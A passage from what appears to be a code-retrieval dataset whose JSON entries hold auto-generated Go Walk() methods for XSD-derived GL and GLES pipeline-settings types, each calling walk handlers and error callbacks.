me.XsdGoPkgHasElem_depth_test_enablechoicegles_pipeline_settingsschema_DepthTestEnable_TxsdGlesPipelineSettingsChoiceDepthTestEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_fog_modechoicegles_pipeline_settingsschema_FogMode_TxsdGlesPipelineSettingsChoiceFogMode_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_linear_attenutationchoicegles_pipeline_settingsschema_LightLinearAttenutation_TxsdGlesPipelineSettingsChoiceLightLinearAttenutation_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_depth_funcchoicegles_pipeline_settingsschema_DepthFunc_TxsdGlesPipelineSettingsChoiceDepthFunc_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_fog_endchoicegles_pipeline_settingsschema_FogEnd_TxsdGlesPipelineSettingsChoiceFogEnd_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_material_shininesschoicegles_pipeline_settingsschema_MaterialShininess_TxsdGlesPipelineSettingsChoiceMaterialShininess_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_clip_plane_enablechoicegles_pipeline_settingsschema_ClipPlaneEnable_TxsdGlesPipelineSettingsChoiceClipPlaneEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_dither_enablechoicegles_pipeline_settingsschema_DitherEnable_TxsdGlesPipelineSettingsChoiceDitherEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_specularchoicegles_pipeline_settingsschema_LightSpecular_TxsdGlesPipelineSettingsChoiceLightSpecular_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_point_fade_threshold_sizechoicegles_pipeline_settingsschema_PointFadeThresholdSize_TxsdGlesPipelineSettingsChoicePointFadeThresholdSize_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_clear_colorchoicegles_pipeline_settingsschema_ClearColor_TxsdGlesPipelineSettingsChoiceClearColor_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_cull_face_enablechoicegles_pipeline_settingsschema_CullFaceEnable_TxsdGlesPipelineSettingsChoiceCullFaceEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_model_two_side_enablechoicegles_pipeline_settingsschema_LightModelTwoSideEnable_TxsdGlesPipelineSettingsChoiceLightModelTwoSideEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_line_widthchoicegles_pipeline_settingsschema_LineWidth_TxsdGlesPipelineSettingsChoiceLineWidth_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_blend_enablechoicegles_pipeline_settingsschema_BlendEnable_TxsdGlesPipelineSettingsChoiceBlendEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_point_sizechoicegles_pipeline_settingsschema_PointSize_TxsdGlesPipelineSettingsChoicePointSize_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_projection_matrixchoicegles_pipeline_settingsschema_ProjectionMatrix_TxsdGlesPipelineSettingsChoiceProjectionMatrix_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_sample_coverage_enablechoicegles_pipeline_settingsschema_SampleCoverageEnable_TxsdGlesPipelineSettingsChoiceSampleCoverageEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_spot_exponentchoicegles_pipeline_settingsschema_LightSpotExponent_TxsdGlesPipelineSettingsChoiceLightSpotExponent_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_quadratic_attenuationchoicegles_pipeline_settingsschema_LightQuadraticAttenuation_TxsdGlesPipelineSettingsChoiceLightQuadraticAttenuation_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_material_ambientchoicegles_pipeline_settingsschema_MaterialAmbient_TxsdGlesPipelineSettingsChoiceMaterialAmbient_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_stencil_maskchoicegles_pipeline_settingsschema_StencilMask_TxsdGlesPipelineSettingsChoiceStencilMask_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_material_diffusechoicegles_pipeline_settingsschema_MaterialDiffuse_TxsdGlesPipelineSettingsChoiceMaterialDiffuse_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_model_ambientchoicegles_pipeline_settingsschema_LightModelAmbient_TxsdGlesPipelineSettingsChoiceLightModelAmbient_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_color_maskchoicegles_pipeline_settingsschema_ColorMask_TxsdGlesPipelineSettingsChoiceColorMask_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_fog_densitychoicegles_pipeline_settingsschema_FogDensity_TxsdGlesPipelineSettingsChoiceFogDensity_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_positionchoicegles_pipeline_settingsschema_LightPosition_TxsdGlesPipelineSettingsChoiceLightPosition_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_stencil_opchoicegles_pipeline_settingsschema_StencilOp_TxsdGlesPipelineSettingsChoiceStencilOp_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_fog_colorchoicegles_pipeline_settingsschema_FogColor_TxsdGlesPipelineSettingsChoiceFogColor_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_polygon_offset_fill_enablechoicegles_pipeline_settingsschema_PolygonOffsetFillEnable_TxsdGlesPipelineSettingsChoicePolygonOffsetFillEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_enablechoicegles_pipeline_settingsschema_LightEnable_TxsdGlesPipelineSettingsChoiceLightEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_constant_attenuationchoicegles_pipeline_settingsschema_LightConstantAttenuation_TxsdGlesPipelineSettingsChoiceLightConstantAttenuation_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_sample_alpha_to_one_enablechoicegles_pipeline_settingsschema_SampleAlphaToOneEnable_TxsdGlesPipelineSettingsChoiceSampleAlphaToOneEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_clip_planechoicegles_pipeline_settingsschema_ClipPlane_TxsdGlesPipelineSettingsChoiceClipPlane_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_fog_startchoicegles_pipeline_settingsschema_FogStart_TxsdGlesPipelineSettingsChoiceFogStart_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_spot_cutoffchoicegles_pipeline_settingsschema_LightSpotCutoff_TxsdGlesPipelineSettingsChoiceLightSpotCutoff_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_spot_directionchoicegles_pipeline_settingsschema_LightSpotDirection_TxsdGlesPipelineSettingsChoiceLightSpotDirection_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_material_specularchoicegles_pipeline_settingsschema_MaterialSpecular_TxsdGlesPipelineSettingsChoiceMaterialSpecular_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_material_emissionchoicegles_pipeline_settingsschema_MaterialEmission_TxsdGlesPipelineSettingsChoiceMaterialEmission_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_shade_modelchoicegles_pipeline_settingsschema_ShadeModel_TxsdGlesPipelineSettingsChoiceShadeModel_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_alpha_funcchoicegles_pipeline_settingsschema_AlphaFunc_TxsdGlesPipelineSettingsChoiceAlphaFunc_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_ambientchoicegles_pipeline_settingsschema_LightAmbient_TxsdGlesPipelineSettingsChoiceLightAmbient_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_lighting_enablechoicegles_pipeline_settingsschema_LightingEnable_TxsdGlesPipelineSettingsChoiceLightingEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_sample_alpha_to_coverage_enablechoicegles_pipeline_settingsschema_SampleAlphaToCoverageEnable_TxsdGlesPipelineSettingsChoiceSampleAlphaToCoverageEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_depth_maskchoicegles_pipeline_settingsschema_DepthMask_TxsdGlesPipelineSettingsChoiceDepthMask_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_alpha_test_enablechoicegles_pipeline_settingsschema_AlphaTestEnable_TxsdGlesPipelineSettingsChoiceAlphaTestEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_stencil_test_enablechoicegles_pipeline_settingsschema_StencilTestEnable_TxsdGlesPipelineSettingsChoiceStencilTestEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_normalize_enablechoicegles_pipeline_settingsschema_NormalizeEnable_TxsdGlesPipelineSettingsChoiceNormalizeEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_blend_funcchoicegles_pipeline_settingsschema_BlendFunc_TxsdGlesPipelineSettingsChoiceBlendFunc_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_fog_enablechoicegles_pipeline_settingsschema_FogEnable_TxsdGlesPipelineSettingsChoiceFogEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_scissor_test_enablechoicegles_pipeline_settingsschema_ScissorTestEnable_TxsdGlesPipelineSettingsChoiceScissorTestEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_line_smooth_enablechoicegles_pipeline_settingsschema_LineSmoothEnable_TxsdGlesPipelineSettingsChoiceLineSmoothEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_clear_stencilchoicegles_pipeline_settingsschema_ClearStencil_TxsdGlesPipelineSettingsChoiceClearStencil_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_texture_pipeline_enablechoicegles_pipeline_settingsschema_TexturePipelineEnable_TxsdGlesPipelineSettingsChoiceTexturePipelineEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_clear_depthchoicegles_pipeline_settingsschema_ClearDepth_TxsdGlesPipelineSettingsChoiceClearDepth_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_depth_rangechoicegles_pipeline_settingsschema_DepthRange_TxsdGlesPipelineSettingsChoiceDepthRange_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_point_size_minchoicegles_pipeline_settingsschema_PointSizeMin_TxsdGlesPipelineSettingsChoicePointSizeMin_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_polygon_offsetchoicegles_pipeline_settingsschema_PolygonOffset_TxsdGlesPipelineSettingsChoicePolygonOffset_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_point_smooth_enablechoicegles_pipeline_settingsschema_PointSmoothEnable_TxsdGlesPipelineSettingsChoicePointSmoothEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_logic_opchoicegles_pipeline_settingsschema_LogicOp_TxsdGlesPipelineSettingsChoiceLogicOp_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_color_material_enablechoicegles_pipeline_settingsschema_ColorMaterialEnable_TxsdGlesPipelineSettingsChoiceColorMaterialEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_model_view_matrixchoicegles_pipeline_settingsschema_ModelViewMatrix_TxsdGlesPipelineSettingsChoiceModelViewMatrix_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_color_logic_op_enablechoicegles_pipeline_settingsschema_ColorLogicOpEnable_TxsdGlesPipelineSettingsChoiceColorLogicOpEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_rescale_normal_enablechoicegles_pipeline_settingsschema_RescaleNormalEnable_TxsdGlesPipelineSettingsChoiceRescaleNormalEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_point_distance_attenuationchoicegles_pipeline_settingsschema_PointDistanceAttenuation_TxsdGlesPipelineSettingsChoicePointDistanceAttenuation_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_texture_pipelinechoicegles_pipeline_settingsschema_TexturePipeline_TxsdGlesPipelineSettingsChoiceTexturePipeline_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_stencil_funcchoicegles_pipeline_settingsschema_StencilFunc_TxsdGlesPipelineSettingsChoiceStencilFunc_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_diffusechoicegles_pipeline_settingsschema_LightDiffuse_TxsdGlesPipelineSettingsChoiceLightDiffuse_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_front_facechoicegles_pipeline_settingsschema_FrontFace_TxsdGlesPipelineSettingsChoiceFrontFace_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_scissorchoicegles_pipeline_settingsschema_Scissor_TxsdGlesPipelineSettingsChoiceScissor_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "4dd888ce96c041c88ab2b0a95cb42ecb", "score": "0.5249568", "text": "func (me *XsdGoPkgHasElem_texture3D_enablechoicegl_pipeline_settingsschema_Texture3DEnable_TxsdGlPipelineSettingsChoiceTexture3DEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_texture3D_enablechoicegl_pipeline_settingsschema_Texture3DEnable_TxsdGlPipelineSettingsChoiceTexture3DEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.Texture3DEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "a363d3756ed3224aee25dbb2ff599b28", "score": "0.524348", "text": "func (me *TxsdGlPipelineSettingsChoiceLightEnable) Walk() (err error) {\r\n\tif fn := WalkHandlers.TxsdGlPipelineSettingsChoiceLightEnable; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "7a1652a0a27c2fcc9aaa2aa0c70350fa", "score": "0.5200239", "text": "func (me *XsdGoPkgHasElem_stencil_opchoicegles_pipeline_settingsschema_StencilOp_TxsdGlesPipelineSettingsChoiceStencilOp_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_stencil_opchoicegles_pipeline_settingsschema_StencilOp_TxsdGlesPipelineSettingsChoiceStencilOp_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.StencilOp.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "e047ae1ec71412a813e7c25d5ec91692", "score": "0.5098883", "text": "func (me *XsdGoPkgHasElem_line_widthchoicegles_pipeline_settingsschema_LineWidth_TxsdGlesPipelineSettingsChoiceLineWidth_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_line_widthchoicegles_pipeline_settingsschema_LineWidth_TxsdGlesPipelineSettingsChoiceLineWidth_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LineWidth.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "2c8d753a0c446648cf683a4975b42d2b", "score": "0.5087166", "text": "func (me *XsdGoPkgHasElem_stencil_opchoicegl_pipeline_settingsschema_StencilOp_TxsdGlPipelineSettingsChoiceStencilOp_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_stencil_opchoicegl_pipeline_settingsschema_StencilOp_TxsdGlPipelineSettingsChoiceStencilOp_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.StencilOp.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "b29577c41c1bd5f88bdb5053cdb97611", "score": "0.50810814", "text": "func (me *XsdGoPkgHasElem_scissorchoicegles_pipeline_settingsschema_Scissor_TxsdGlesPipelineSettingsChoiceScissor_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_scissorchoicegles_pipeline_settingsschema_Scissor_TxsdGlesPipelineSettingsChoiceScissor_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.Scissor.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "341f8dfbc0d02197a12eaff5769d3294", "score": "0.5080953", "text": "func (me *XsdGoPkgHasElem_point_distance_attenuationchoicegles_pipeline_settingsschema_PointDistanceAttenuation_TxsdGlesPipelineSettingsChoicePointDistanceAttenuation_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_point_distance_attenuationchoicegles_pipeline_settingsschema_PointDistanceAttenuation_TxsdGlesPipelineSettingsChoicePointDistanceAttenuation_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.PointDistanceAttenuation.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "0e5ae914582eeaac6feba6cf25426ea6", "score": "0.5073841", "text": "func (me *XsdGoPkgHasElem_texture_pipelinechoicegles_pipeline_settingsschema_TexturePipeline_TxsdGlesPipelineSettingsChoiceTexturePipeline_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_texture_pipelinechoicegles_pipeline_settingsschema_TexturePipeline_TxsdGlesPipelineSettingsChoiceTexturePipeline_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.TexturePipeline.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); 